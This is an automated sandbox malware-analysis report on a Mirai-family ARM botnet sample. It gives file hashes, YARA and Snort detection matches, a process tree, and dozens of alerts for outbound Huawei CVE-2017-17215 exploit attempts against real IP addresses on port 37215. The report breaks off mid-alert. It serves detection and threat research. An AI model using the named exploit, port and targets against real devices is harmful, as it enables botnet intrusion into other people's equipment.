Edit tour

Linux Analysis Report
notabotnet.arm

Overview

General Information

Sample Name:	notabotnet.arm
Analysis ID:	679628
MD5:	d8edb88e8280e241f06c014b85d0362f
SHA1:	d9262e6ab9d9a92342fff5fe38758f59b37a1561
SHA256:	4d365f4c4e3f94622f7e7fd786ba773de51f4bd41ecf9ff2295f3628ab5c440c
Tags:	Mirai
Infos:

Detection

Mirai

Score:	80
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Yara detected Mirai

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Connects to many ports of the same IP (likely port scanning)

Uses known network protocols on non-standard ports

Yara signature match

Uses the "uname" system call to query kernel version information (possible evasion)

Enumerates processes within the "proc" file system

Detected TCP or UDP traffic on non-standard ports

Sample listens on a socket

Sample has stripped symbol table

HTTP GET or POST without a user agent

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Classification

Analysis Advice

Some HTTP requests failed (404). It is likely that the sample will exhibit less behavior.

Static ELF header machine description suggests that the sample might not execute correctly on this machine.

Static ELF header machine description suggests that the sample might only run correctly on MIPS or ARM architectures.

General Information

Joe Sandbox Version:	35.0.0 Citrine
Analysis ID:	679628
Start date and time: 06/08/202207:18:31	2022-08-06 07:18:31 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 5m 11s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	notabotnet.arm
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Detection:	MAL
Classification:	mal80.troj.linARM@0/0@1/0

Warnings

Report size exceeded maximum capacity and may have missing network information.
TCP Packets have been reduced to 100

Runtime Messages

Command:	/tmp/notabotnet.arm
PID:	6236
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	xXxSlicexXxxVEGA.
Standard Error:

Process Tree

system is lnxubuntu20

notabotnet.arm (PID: 6236, Parent: 6127, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/notabotnet.arm

notabotnet.arm New Fork (PID: 6238, Parent: 6236)

notabotnet.arm New Fork (PID: 6239, Parent: 6236)

notabotnet.arm New Fork (PID: 6241, Parent: 6239)

notabotnet.arm New Fork (PID: 6243, Parent: 6239)

notabotnet.arm New Fork (PID: 6246, Parent: 6239)

notabotnet.arm New Fork (PID: 6248, Parent: 6239)

notabotnet.arm New Fork (PID: 6251, Parent: 6239)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
notabotnet.arm	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth	0x12fa8:$xo1: Dfs`eeh&<'9 0x13020:$xo1: Dfs`eeh&<'9 0x13094:$xo1: Dfs`eeh&<'9 0x13104:$xo1: Dfs`eeh&<'9 0x13150:$xo1: Dfs`eeh&<'9
notabotnet.arm	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
6238.1.00007f5fa8033000.00007f5fa8034000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth	0x528:$xo1: Dfs`eeh&<'9 0x5a4:$xo1: Dfs`eeh&<'9 0x61c:$xo1: Dfs`eeh&<'9 0x690:$xo1: Dfs`eeh&<'9 0x6e0:$xo1: Dfs`eeh&<'9
6241.1.00007f5fa8032000.00007f5fa8033000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth	0x20:$xo1: Dfs`eeh&<'9 0x94:$xo1: Dfs`eeh&<'9 0x104:$xo1: Dfs`eeh&<'9 0x150:$xo1: Dfs`eeh&<'9
6241.1.00007f5fa8017000.00007f5fa802b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth	0x12fa8:$xo1: Dfs`eeh&<'9 0x13020:$xo1: Dfs`eeh&<'9 0x13094:$xo1: Dfs`eeh&<'9 0x13104:$xo1: Dfs`eeh&<'9 0x13150:$xo1: Dfs`eeh&<'9
6241.1.00007f5fa8017000.00007f5fa802b000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6236.1.00007f5fa8017000.00007f5fa802b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth	0x12fa8:$xo1: Dfs`eeh&<'9 0x13020:$xo1: Dfs`eeh&<'9 0x13094:$xo1: Dfs`eeh&<'9 0x13104:$xo1: Dfs`eeh&<'9 0x13150:$xo1: Dfs`eeh&<'9
6236.1.00007f5fa8017000.00007f5fa802b000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6238.1.00007f5fa8017000.00007f5fa802b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth	0x12fa8:$xo1: Dfs`eeh&<'9 0x13020:$xo1: Dfs`eeh&<'9 0x13094:$xo1: Dfs`eeh&<'9 0x13104:$xo1: Dfs`eeh&<'9 0x13150:$xo1: Dfs`eeh&<'9
6238.1.00007f5fa8017000.00007f5fa802b000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6241.1.00007f5fa8033000.00007f5fa8034000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth	0x528:$xo1: Dfs`eeh&<'9 0x5a4:$xo1: Dfs`eeh&<'9 0x61c:$xo1: Dfs`eeh&<'9 0x690:$xo1: Dfs`eeh&<'9 0x6e0:$xo1: Dfs`eeh&<'9
6236.1.00007f5fa8033000.00007f5fa8034000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth	0x528:$xo1: Dfs`eeh&<'9 0x5a4:$xo1: Dfs`eeh&<'9 0x61c:$xo1: Dfs`eeh&<'9 0x690:$xo1: Dfs`eeh&<'9 0x6e0:$xo1: Dfs`eeh&<'9
6238.1.00007f5fa8032000.00007f5fa8033000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth	0x20:$xo1: Dfs`eeh&<'9 0x94:$xo1: Dfs`eeh&<'9 0x104:$xo1: Dfs`eeh&<'9 0x150:$xo1: Dfs`eeh&<'9
6236.1.00007f5fa8032000.00007f5fa8033000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth	0x20:$xo1: Dfs`eeh&<'9 0x94:$xo1: Dfs`eeh&<'9 0x104:$xo1: Dfs`eeh&<'9 0x150:$xo1: Dfs`eeh&<'9
Process Memory Space: notabotnet.arm PID: 6236	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth	0x109ff:$xo1: Dfs`eeh&<'9 0x10a75:$xo1: Dfs`eeh&<'9 0x10ae9:$xo1: Dfs`eeh&<'9 0x10b58:$xo1: Dfs`eeh&<'9 0x10bad:$xo1: Dfs`eeh&<'9 0x10c22:$xo1: Dfs`eeh&<'9 0x10c95:$xo1: Dfs`eeh&<'9 0x10d03:$xo1: Dfs`eeh&<'9 0x10d4d:$xo1: Dfs`eeh&<'9 0x10df5:$xo1: Dfs`eeh&<'9
Process Memory Space: notabotnet.arm PID: 6236	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: notabotnet.arm PID: 6238	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth	0x440:$xo1: Dfs`eeh&<'9 0x4b6:$xo1: Dfs`eeh&<'9 0x52a:$xo1: Dfs`eeh&<'9 0x599:$xo1: Dfs`eeh&<'9 0x5c5:$xo1: Dfs`eeh&<'9 0x63b:$xo1: Dfs`eeh&<'9 0x6af:$xo1: Dfs`eeh&<'9 0x71e:$xo1: Dfs`eeh&<'9 0x768:$xo1: Dfs`eeh&<'9 0x811:$xo1: Dfs`eeh&<'9 0x26d9:$xo1: Dfs`eeh&<'9 0x274f:$xo1: Dfs`eeh&<'9 0x27c3:$xo1: Dfs`eeh&<'9 0x2832:$xo1: Dfs`eeh&<'9 0x2887:$xo1: Dfs`eeh&<'9 0x28fc:$xo1: Dfs`eeh&<'9 0x296f:$xo1: Dfs`eeh&<'9 0x29dd:$xo1: Dfs`eeh&<'9 0x2a27:$xo1: Dfs`eeh&<'9 0x2acf:$xo1: Dfs`eeh&<'9 0x2c09:$xo1: Dfs`eeh&<'9
Process Memory Space: notabotnet.arm PID: 6238	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: notabotnet.arm PID: 6241	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth	0x13554:$xo1: Dfs`eeh&<'9 0x135ca:$xo1: Dfs`eeh&<'9 0x1363e:$xo1: Dfs`eeh&<'9 0x136ad:$xo1: Dfs`eeh&<'9 0x13702:$xo1: Dfs`eeh&<'9 0x13777:$xo1: Dfs`eeh&<'9 0x137ea:$xo1: Dfs`eeh&<'9 0x13858:$xo1: Dfs`eeh&<'9 0x138a2:$xo1: Dfs`eeh&<'9 0x1394a:$xo1: Dfs`eeh&<'9 0x13a84:$xo1: Dfs`eeh&<'9 0x13af8:$xo1: Dfs`eeh&<'9 0x13b67:$xo1: Dfs`eeh&<'9 0x13baa:$xo1: Dfs`eeh&<'9 0x13c1d:$xo1: Dfs`eeh&<'9 0x13c8b:$xo1: Dfs`eeh&<'9 0x13cd5:$xo1: Dfs`eeh&<'9 0x13d7d:$xo1: Dfs`eeh&<'9
Process Memory Space: notabotnet.arm PID: 6241	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Click to see the 13 entries

Snort Signatures

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.235.104.47

Timestamp:	192.168.2.23156.235.104.4736334372152835222 08/06/22-07:19:52.220960
SID:	2835222
Source Port:	36334
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.235.104.85

Timestamp:	192.168.2.23156.235.104.8557800372152835222 08/06/22-07:19:39.853691
SID:	2835222
Source Port:	57800
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.65.128

Timestamp:	192.168.2.23156.241.65.12841678372152835222 08/06/22-07:21:20.512607
SID:	2835222
Source Port:	41678
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.116.44

Timestamp:	192.168.2.23156.241.116.4442230372152835222 08/06/22-07:20:00.956884
SID:	2835222
Source Port:	42230
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.250.69.146

Timestamp:	192.168.2.23156.250.69.14655152372152835222 08/06/22-07:19:39.989567
SID:	2835222
Source Port:	55152
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.245.33.139

Timestamp:	192.168.2.23156.245.33.13954504372152835222 08/06/22-07:19:52.314965
SID:	2835222
Source Port:	54504
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.250.28.171

Timestamp:	192.168.2.23156.250.28.17152738372152835222 08/06/22-07:20:29.967484
SID:	2835222
Source Port:	52738
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.224.31.170

Timestamp:	192.168.2.23156.224.31.17037664372152835222 08/06/22-07:20:49.079922
SID:	2835222
Source Port:	37664
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.250.102.105

Timestamp:	192.168.2.23156.250.102.10536504372152835222 08/06/22-07:20:29.956914
SID:	2835222
Source Port:	36504
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.230.19.35

Timestamp:	192.168.2.23156.230.19.3534282372152835222 08/06/22-07:20:27.532804
SID:	2835222
Source Port:	34282
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.250.70.128

Timestamp:	192.168.2.23156.250.70.12841324372152835222 08/06/22-07:21:02.363370
SID:	2835222
Source Port:	41324
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.245.55.10

Timestamp:	192.168.2.23156.245.55.1057952372152835222 08/06/22-07:19:21.831672
SID:	2835222
Source Port:	57952
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.109.87

Timestamp:	192.168.2.23156.254.109.8743916372152835222 08/06/22-07:20:06.945366
SID:	2835222
Source Port:	43916
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.250.115.240

Timestamp:	192.168.2.23156.250.115.24033420372152835222 08/06/22-07:21:20.543254
SID:	2835222
Source Port:	33420
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.250.100.84

Timestamp:	192.168.2.23156.250.100.8457436372152835222 08/06/22-07:20:06.851930
SID:	2835222
Source Port:	57436
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.99.17

Timestamp:	192.168.2.23156.241.99.1735304372152835222 08/06/22-07:19:43.361911
SID:	2835222
Source Port:	35304
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.225.145.141

Timestamp:	192.168.2.23156.225.145.14155966372152835222 08/06/22-07:19:46.935588
SID:	2835222
Source Port:	55966
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET DNS Query to a .tk domain - Likely Hostile - Source IP: 192.168.2.23 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.238.8.8.853706532012811 08/06/22-07:19:18.475451
SID:	2012811
Source Port:	53706
Destination Port:	53
Protocol:	UDP
Classtype:	Potentially Bad Traffic

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.224.19.222

Timestamp:	192.168.2.23156.224.19.22252936372152835222 08/06/22-07:20:06.720074
SID:	2835222
Source Port:	52936
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.224.9.206

Timestamp:	192.168.2.23156.224.9.20653706372152835222 08/06/22-07:19:24.221104
SID:	2835222
Source Port:	53706
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.245.56.125

Timestamp:	192.168.2.23156.245.56.12560782372152835222 08/06/22-07:21:11.092379
SID:	2835222
Source Port:	60782
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.75.228

Timestamp:	192.168.2.23156.226.75.22833396372152835222 08/06/22-07:19:39.967769
SID:	2835222
Source Port:	33396
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.250.94.104

Timestamp:	192.168.2.23156.250.94.10446054372152835222 08/06/22-07:20:46.861808
SID:	2835222
Source Port:	46054
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.244.93.42

Timestamp:	192.168.2.23156.244.93.4250026372152835222 08/06/22-07:19:43.368461
SID:	2835222
Source Port:	50026
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.238.15.204

Timestamp:	192.168.2.23156.238.15.20444758372152835222 08/06/22-07:20:23.994081
SID:	2835222
Source Port:	44758
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.245.36.181

Timestamp:	192.168.2.23156.245.36.18148390372152835222 08/06/22-07:21:07.429076
SID:	2835222
Source Port:	48390
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.245.60.140

Timestamp:	192.168.2.23156.245.60.14053584372152835222 08/06/22-07:20:24.016463
SID:	2835222
Source Port:	53584
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.30.161

Timestamp:	192.168.2.23156.226.30.16142840372152835222 08/06/22-07:21:13.813244
SID:	2835222
Source Port:	42840
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.235.104.136

Timestamp:	192.168.2.23156.235.104.13638016372152835222 08/06/22-07:21:07.325992
SID:	2835222
Source Port:	38016
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.125.136

Timestamp:	192.168.2.23156.241.125.13656354372152835222 08/06/22-07:21:02.342117
SID:	2835222
Source Port:	56354
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.250.15.224

Timestamp:	192.168.2.23156.250.15.22444224372152835222 08/06/22-07:20:46.875148
SID:	2835222
Source Port:	44224
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.230.25.40

Timestamp:	192.168.2.23156.230.25.4052572372152835222 08/06/22-07:20:01.144639
SID:	2835222
Source Port:	52572
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.103.120

Timestamp:	192.168.2.23156.241.103.12046710372152835222 08/06/22-07:20:29.963710
SID:	2835222
Source Port:	46710
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.244.125.1

Timestamp:	192.168.2.23156.244.125.138204372152835222 08/06/22-07:20:00.952733
SID:	2835222
Source Port:	38204
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.91.240

Timestamp:	192.168.2.23156.241.91.24040938372152835222 08/06/22-07:19:24.295713
SID:	2835222
Source Port:	40938
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.111.150

Timestamp:	192.168.2.23156.254.111.15043388372152835222 08/06/22-07:20:01.152294
SID:	2835222
Source Port:	43388
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.90.136

Timestamp:	192.168.2.23156.254.90.13632874372152835222 08/06/22-07:19:24.221072
SID:	2835222
Source Port:	32874
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.74.59

Timestamp:	192.168.2.23156.241.74.5945650372152835222 08/06/22-07:21:17.178265
SID:	2835222
Source Port:	45650
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.247.17.68

Timestamp:	192.168.2.23156.247.17.6852950372152835222 08/06/22-07:19:25.518855
SID:	2835222
Source Port:	52950
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.81.20

Timestamp:	192.168.2.23156.241.81.2057262372152835222 08/06/22-07:20:46.869967
SID:	2835222
Source Port:	57262
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.225.156.155

Timestamp:	192.168.2.23156.225.156.15546128372152835222 08/06/22-07:21:13.807326
SID:	2835222
Source Port:	46128
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.72.217

Timestamp:	192.168.2.23156.226.72.21758034372152835222 08/06/22-07:20:49.212460
SID:	2835222
Source Port:	58034
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.84.71

Timestamp:	192.168.2.23156.241.84.7160110372152835222 08/06/22-07:19:25.876818
SID:	2835222
Source Port:	60110
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.234.43.151

Timestamp:	192.168.2.23197.234.43.15149334372152835222 08/06/22-07:19:52.351873
SID:	2835222
Source Port:	49334
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.244.69.106

Timestamp:	192.168.2.23156.244.69.10653374372152835222 08/06/22-07:19:29.489873
SID:	2835222
Source Port:	53374
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.246.248.129

Timestamp:	192.168.2.23197.246.248.12934130372152835222 08/06/22-07:20:39.259211
SID:	2835222
Source Port:	34130
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.235.111.197

Timestamp:	192.168.2.23156.235.111.19760086372152835222 08/06/22-07:21:07.326010
SID:	2835222
Source Port:	60086
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.33.128

Timestamp:	192.168.2.23156.226.33.12842834372152835222 08/06/22-07:20:07.122992
SID:	2835222
Source Port:	42834
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.250.84.216

Timestamp:	192.168.2.23156.250.84.21634314372152835222 08/06/22-07:21:13.530696
SID:	2835222
Source Port:	34314
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.111.240

Timestamp:	192.168.2.23156.226.111.24038052372152835222 08/06/22-07:21:07.604064
SID:	2835222
Source Port:	38052
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.91.43

Timestamp:	192.168.2.23156.254.91.4356600372152835222 08/06/22-07:19:52.243025
SID:	2835222
Source Port:	56600
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.72.168

Timestamp:	192.168.2.23156.226.72.16849466372152835222 08/06/22-07:20:00.976466
SID:	2835222
Source Port:	49466
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.224.22.93

Timestamp:	192.168.2.23156.224.22.9337258372152835222 08/06/22-07:19:46.797331
SID:	2835222
Source Port:	37258
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.250.4.21

Timestamp:	192.168.2.23156.250.4.2133800372152835222 08/06/22-07:19:29.496580
SID:	2835222
Source Port:	33800
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.245.36.50

Timestamp:	192.168.2.23156.245.36.5059962372152835222 08/06/22-07:20:07.124180
SID:	2835222
Source Port:	59962
